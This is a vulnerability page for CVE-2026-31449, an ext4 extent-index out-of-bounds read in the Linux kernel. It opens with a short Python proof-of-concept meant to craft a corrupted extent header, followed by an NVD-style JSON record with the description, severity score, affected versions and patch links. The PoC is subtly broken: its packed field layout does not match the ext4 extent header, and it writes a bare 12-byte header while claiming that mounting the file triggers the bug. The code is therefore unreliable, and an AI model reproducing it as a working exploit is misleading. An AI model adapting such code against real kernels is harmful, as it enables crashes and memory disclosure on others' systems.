CVE-2026-31449

import struct # Conceptual PoC: Create a malformed ext4 image header # This script simulates crafting a corrupted eh_entries value. def create_malformed_image(): # Extent Header fields magic = 0xF30A # Set eh_entries to a large value to cause p_idx overflow entries = 0xFFFF max = 0 depth = 0 gen = 0 # Pack header struct header = struct.pack('<HHIHH', magic, entries, max, depth, gen) with open('malformed_ext4.bin', 'wb') as f: f.write(header) print("[+] Malformed image header created.") print("[*] Mounting this image on a vulnerable kernel triggers the bug.") if __name__ == "__main__": create_malformed_image()

{"cve": {"id": "CVE-2026-31449", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:38.933", "lastModified": "2026-05-17T16:16:15.390", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\next4: validate p_idx bounds in ext4_ext_correct_indexes\n\next4_ext_correct_indexes() walks up the extent tree correcting\nindex entries when the first extent in a leaf is modified. Before\naccessing path[k].p_idx->ei_block, there is no validation that\np_idx falls within the valid range of index entries for that\nlevel.\n\nIf the on-disk extent header contains a corrupted or crafted\neh_entries value, p_idx can point past the end of the allocated\nbuffer, causing a slab-out-of-bounds read.\n\nFix this by validating path[k].p_idx against EXT_LAST_INDEX() at\nboth access sites: before the while loop and inside it. Return\n-EFSCORRUPTED if the index pointer is out of range, consistent\nwith how other bounds violations are handled in the ext4 extent\ntree code."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.19.1", "versionEndExcluding": "6.12.80", "matchCriteriaId": "6126AEF2-0176-48D1-96AD-72781F726931"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.19:-:*:*:*:*:*:*", "matchCriteriaId": "9E2DBD4C-9DD9-4DD3-87CB-A0070A789CEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "8D97ED16-D6B7-4445-889C-4D6DE2EDC49A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "B2C2D5D4-9A4B-4CDF-8D71-D22EB5E97D5A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "DFFB2843-A867-48EC-97D7-B106C7BBAED0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "3CD3FE23-1A10-47E6-AD7E-D67F1BE3C5E2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:2.6.19:rc6:*:*:*:*:*:*", "matchCriteriaId": "9F39FC76-7D77-4064-94D3-A16C436FA8D1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/01bf1e0b997d82c0e353b51ed74ef99698043c33", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/2acb5c12ebd860f30e4faf67e6cc8c44ddfe5fe8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/407c944f217c17d4343148011acafebc604d55e1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4d08401aa13f1531216f1a7ae281ca4806e90a5c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/93f2e975ed658ce09db4d4c2877ca2c06540df83", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}